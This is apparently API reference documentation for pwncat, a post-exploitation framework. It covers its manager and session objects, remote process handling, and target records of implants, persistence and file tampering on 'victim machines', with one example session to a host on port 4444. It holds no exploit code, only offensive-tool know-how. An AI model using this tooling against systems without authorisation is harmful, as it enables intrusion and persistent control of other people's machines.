The manager is the core object within pwncat. A manager is responsible for maintaining configuration, terminal state, and maintaining all active pwncat sessions. A manager can have zero or more sessions active at any given time. It is recommended to create a manager through the context manager syntax. In this way, pwncat will automatically disconnect from active sessions and perform any required cleanup prior to exiting even if there was an uncaught exception. The normal method of creating a manager is:

```
with pwncat.manager.Manager() as manager:
    # Do something with your manager, like set a configuration item
    # or open a connection
    session = manager.create_session(platform="linux", host="192.168.1.1", port=4444)
```

**exception** pwncat.manager.**InteractiveExit**
Bases: Exception

Indicates we should exit the interactive terminal

**class** pwncat.manager.**Manager**(*config: str = None*)
Bases: object

pwncat manager which is responsible for creating channels, and sessions, managing the database sessions. It provides the factory functions for generating platforms, channels, database sessions, and executing modules.

**create_db_session**()
Create a new SQLAlchemy database session and return it

**create_session**(*platform: str*, *channel:* pwncat.channel.Channel *= None*, ***kwargs*)
Open a new session from a new or existing platform. If the platform is a string, a new platform is created using create_platform and a session is built around the platform. In that case, the arguments are the same as for create_platform.

A new Session object is returned which contains the created or specified platform.

**interactive**()
Start interactive prompt

**load_modules**(**paths*)
Dynamically load modules from the specified paths

If a module has the same name as an already loaded module, it will take it's place in the module list. This includes built-in modules.

**log**(**args*, ***kwargs*)
Output a log entry

**open_database**()
Create the internal engine and session builder for this manager based on the configured database

**print**(**args*, ***kwargs*)

**property target**
Retrieve the currently focused target

**class** pwncat.manager.**Session**(*manager*, *platform: Union[str,* pwncat.platform.Platform*]*, *channel: Optional[*pwncat.channel.Channel*] = None*, ***kwargs*)
Bases: object

This class represents the container by which pwncat references connections to victim machines. It glues together a connected Channel and an appropriate Platform implementation. It also provides generic access to the pwncat database and logging functionality.

**close**()
Close the session and remove from manager tracking

**property config**
Get the configuration object for this manager. This is simply a wrapper for session.manager.config to make accessing configuration a little easier.

**current_user**() → *pwncat.facts.User*
Retrieve the current user object

**died**()

**find_group**(*gid=None*, *name=None*)
Locate a user object by name or ID

**find_module**(*pattern: str*, *base=None*, *exact: bool = False*)
Locate a module by a glob pattern. This is an generator which may yield multiple modules that match the pattern and base class.

**find_user**(*uid=None*, *name=None*)
Locate a user object by name or ID

**iter_groups**(*members: Optional[List[Union[str, int]]] = None*)
Iterate over groups for the target

**iter_users**()
Iterate over the users for the target

**log**(**args*, ***kwargs*)
Log to the console. This utilizes the active sessions progress instance to log without messing up progress output from other sessions, if we aren't active.

**print**(**args*, ***kwargs*)
Log to the console. This utilizes the active sessions progress instance to log without messing up progress output from other sessions, if we aren't active.

**register_fact**(*fact:* pwncat.db.Fact)
Register a fact with this session's target. This is useful when a fact is generated during execution of a command or module, but is not associated with a specific enumeration module. It can still be queried with the base *enumerate* module by it's type.

**register_new_host**()
Register a new host in the database. This assumes the hash has already been stored in `self.hash`

**run**(*module: str*, ***kwargs*)
Run a module on this session

**property target**
Retrieve the target object for this session

**task**(**args*, ***kwargs*)
Get a new task in this session's progress instance

**update_task**(*task*, **args*, ***kwargs*)
Update an active task

### pwncat.subprocess module

This provides a subprocess-compatible definition of an internal pwncat Popen object. A pwncat Popen object wraps a remote process in a local manager which provides an almost-identical interface as the builtin subprocess module.

---

**Note:** Depending on the platform you are connected to, you may only be able to run a single process at a time. Because of this, you should always ensure the process properly exits and you call `Popen.wait()` or recieve a non-None result from `Popen.poll()` before calling other pwncat methods.

---

**class** pwncat.subprocess.**Popen**
Bases: `object`

Base class for Popen objects defining the interface. Individual platforms will subclass this object to implement the correct logic. This is an abstract class.

**args: List[str]**
The args argument as it was passed to Popen – a sequence of program arguments or else a single string.

**communicate**(*input: bytes = None*, *timeout: float = None*)
Interact with process: Send data to stdin. Read data from stdout and stderr, until end-of-file is readched. Wait for the process to terminate and set the `returncode` attribute. The optional `input` argument should be data to be sent to the child process, or None, if no data should be sent to the child. If streams were opened in text mode, `input` must be a string. Otherwise, it must be `bytes`.

**kill**()
Kills the child

**pid: int**
The process ID of the child process.

**poll**() → Optional[int]
Check if the child process has terminated. Set and return `returncode` attribute. Otherwise, returns None.

**returncode: int**
The child return code, set by poll() and wait() (and indirectly by communicate()). A None value indicates that the process hasn't terminated yet.

**send_signal**(*signal: int*)
Sends the signal `signal` to the child.

Does nothing if the process completed.

**stderr: IO**
If the stderr argument was PIPE, this attribute is a readable stream object as returned by open(). Reading from the stream provides error output from the child process. If the encoding or errors arguments were specified or the universal_newlines argument was True, the stream is a text stream, otherwise it is a byte stream. If the stderr argument was not PIPE, this attribute is None.

**stdin: IO**
If the stdin argument was PIPE, this attribute is a writeable stream object as returned by open(). If the encoding or errors arguments were specified or the universal_newlines argument was True, the stream is a text stream, otherwise it is a byte stream. If the stdin argument was not PIPE, this attribute is None.

**stdout: IO**
If the stdout argument was PIPE, this attribute is a readable stream object as returned by open(). Reading from the stream provides output from the child process. If the encoding or errors arguments were specified or the universal_newlines argument was True, the stream is a text stream, otherwise it is a byte stream. If the stdout argument was not PIPE, this attribute is None.

**terminate**()
Stop the child.

**wait**(*timeout: float = None*) → int
Wait for child process to terminate. Set and return `returncode` attribute.

If the process does not terminate after `timeout` seconds, raise a `TimeoutExpired` exception. It is safe to catch this exception and retry the wait.

### pwncat.target module

A target is the data structure stored in the ZODB. It contains all enumerated facts, installed implants, unique ID, last remote address identified and other information needed across pwncat sessions to identify or interact with a target. No information in this object is specific to a connection protocol or session.

**enum** pwncat.target.**NAT**(*value*)
Bases: enum.Enum

Indicates the current known state of NAT on the target host

Valid values are as follows:

**UNKNOWN = <NAT.UNKNOWN: 1>**

**ENABLED = <NAT.ENABLED: 2>**

**DISABLED = <NAT.DISABLED: 3>**

**enum** pwncat.target.**OS**(*value*)
Bases: enum.Enum

Describes the operating system on the target host. This is normally set by the platform type when connecting, however may be interrogated from the target host directly. For example, in the case of similar OS's like Linux, Mac, and BSD, the platform may double check the OS prior to establishing a session.

If the OS doesn't match your platform specifically, session establishment may fail, but any details collected so far will be stored (such as addresses and target OS information).

Valid values are as follows:

**LINUX = <OS.LINUX: 1>**

**WINDOWS = <OS.WINDOWS: 2>**

**MAC = <OS.MAC: 3>**

**BSD = <OS.BSD: 4>**

**UNKNOWN = <OS.UNKNOWN: 5>**

**class** pwncat.target.**Target**
Bases: persistent.Persistent

Describes collected data on a target host. This replaces the database in previous versions of pwncat. It collects enumeration facts, system info, persistence state, and any other contextual information stored across instances of pwncat. Properties added to this class are automatically stored in the ZODB database as described by your configuration.

A target is initialized with no information, and has no requirement for what data is available. Depending on the state of the active connection (if any) and the type of system, some information may not be available. During construction of a new session, some information is automatically queried such as the public address (routable IP address from attacking perspective) and port number, internal address (IP address from perspective of target) and port, NAT state, hostname, and a platform specific unique identifier.

**enumerate_state: OOBTree**
The state of all enumeration modules which drives the module schedule

**facts: persistent.list.PersistentList**
List of enumerated facts about the target host

**facts_with**(***kwargs*)
Return a generator yielding facts which match the given properties. This is a relatively restrictive search

and the properties must match exactly. For a more general search of facts, you can use a Python generator expression over the `facts` list instead.

**guid: Optional[str]**
Globally unique identifier normally determined by a platform specific algorithm.

**hostname: Optional[str]**
Hostname from the targets perspective

**implants: persistent.list.PersistentList**
List of installed implants on this target host

**internal_address: Optional[Tuple[str, int]]**
Internal address as viewed by the target

**name: Optional[str]**
An optional friendly name that can be used to refer to this target

**property nat**
Determine if NAT is applied for this host. This simply tests whether the target views it's IP in the same way we do. This simply compares the public and internal addresses to infer the state of NAT on the target network.

**os: *OS***
Target host operating system

**platform: str**
Name of the platform used to interact with this target

**public_address: Optional[Tuple[str, int]]**
Public address as routable by the attacker

**tampers: persistent.list.PersistentList**
List of files/properties of the target that have been modified and/or created.

**users: persistent.list.PersistentList**
List of users known on the target system (may not be all-encompasing depending on access)

**utilities: OOBTree()**
Mapping of utility names to paths. This is mainly used on Unix platforms to identify binaries available in the path.

### pwncat.util module

Various utility methods and classes which don't fit in any other modules or packages.

**flag** pwncat.util.**Access**(*value*)
Bases: enum.Flag

Check if you are able to read/write/execute a file

Valid values are as follows:

**NONE = <Access.NONE: 0>**

**EXISTS = <Access.EXISTS: 1>**

**READ = <Access.READ: 2>**

**WRITE = <Access.WRITE: 4>**

**EXECUTE = <Access.EXECUTE: 8>**

**SUID = <Access.SUID: 16>**

**SGID = <Access.SGID: 32>**

**REGULAR = <Access.REGULAR: 64>**

**DIRECTORY = <Access.DIRECTORY: 128>**

**PARENT_EXIST = <Access.PARENT_EXIST: 256>**

**PARENT_WRITE = <Access.PARENT_WRITE: 512>**

**exception** pwncat.util.**CommandSystemExit**
Bases: Exception

A command has requested that we exit pwncat (mostly used for exit command)

**exception** pwncat.util.**CompilationError**(*source_error: bool*, *stdout: Optional[str]*, *stderr: Optional[str]*)
Bases: Exception

Indicates that compilation failed on either the local or remote host.

**Parameters** **source_error** – indicates whether there was a compilation error due to source code syntax. If not, this was due to a missing compiler.

**enum** pwncat.util.**Init**(*value*)
Bases: enum.Enum

An enumeration.

Valid values are as follows:

**UNKNOWN = <Init.UNKNOWN: 1>**

**SYSTEMD = <Init.SYSTEMD: 2>**

**UPSTART = <Init.UPSTART: 3>**

**SYSV = <Init.SYSV: 4>**

**exception** pwncat.util.**RawModeExit**
Bases: Exception

Indicates that the user would like to exit the raw mode shell. This is normally raised when the user presses the <prefix>+<C-d> key combination to return to the local prompt.

**enum** pwncat.util.**State**(*value*)
Bases: enum.Enum

The current PtyHandler state

Valid values are as follows:

**NORMAL = <State.NORMAL: 1>**

**RAW = <State.RAW: 2>**

**COMMAND = <State.COMMAND: 3>**

**SINGLE = <State.SINGLE: 4>**

pwncat.util.**copyfileobj**(*src*, *dst*, *callback*, *nomv=False*)
Copy a file object to another file object with a callback. This method assumes that both files are binary and support readinto

pwncat.util.**enter_raw_mode**(*non_block=True*)
Set stdin/stdout to raw mode to pass data directly.

returns: the old state of the terminal

pwncat.util.**escape_markdown**(*s: str*) → str
Escape any markdown special characters :param s: :return:

pwncat.util.**get_ip_addr**() → str
Retrieve the current IP address. This will return the first tun/tap interface if availabe. Otherwise, it will return the first "normal" interface with no preference for wired/wireless.

pwncat.util.**human_readable_delta**(*seconds*)
This produces a human-readable time-delta output suitable for output to the terminal. It assumes that "seconds" is less than 1 day. I.e. it will only display at most, hours minutes and seconds.

pwncat.util.**human_readable_size**(*size*, *decimal_places=2*)

pwncat.util.**isprintable**(*data*) → bool
This is a convenience function to be used rather than the usual `str.printable` boolean value, as that built-in **DOES NOT** consider newlines to be part of the printable data set (weird!)

pwncat.util.**join**(*argv: List[str]*)
Join the string much line shlex.join, except assume that each token is expecting double quotes. This allows variable references within the tokens.

pwncat.util.**pop_term_state**()
Return the terminal to the state that was last pushed

pwncat.util.**push_term_state**()
Save the current terminal state on our state stack so we can easily return to the current state.

pwncat.util.**quote**(*token: str*)
Quote the token much like shlex.quote, except don't use single quotes this will escape any double quotes in the string and wrap it in double quotes. If there are no spaces, it returns the stirng unchanged.

pwncat.util.**random_string**(*length: int = 8*)
Create a random alphanumeric string

pwncat.util.**restore_terminal**(*state*, *new_line=True*)
restore the stdio state from the result of "enter_raw_mode"

pwncat.util.**strip_ansi_escape**(*s: str*) → str
Strip the ansi escape sequences out of the given string :param s: the string to strip :return: a version of 's' without ansi escape sequences

pwncat.util.**strip_markup**(*styled_text: str*) → str
Strip rich markup from text

CHAPTER

THREE

# INDICES AND TABLES

- genindex
- modindex
- search

# PYTHON MODULE INDEX

## p

# INDEX

## D



## E

## F



## G



## H



## I

## J



## K



## L



## M

## N



## O



## P

## Q



## R

## S

## T



## U



## V



## W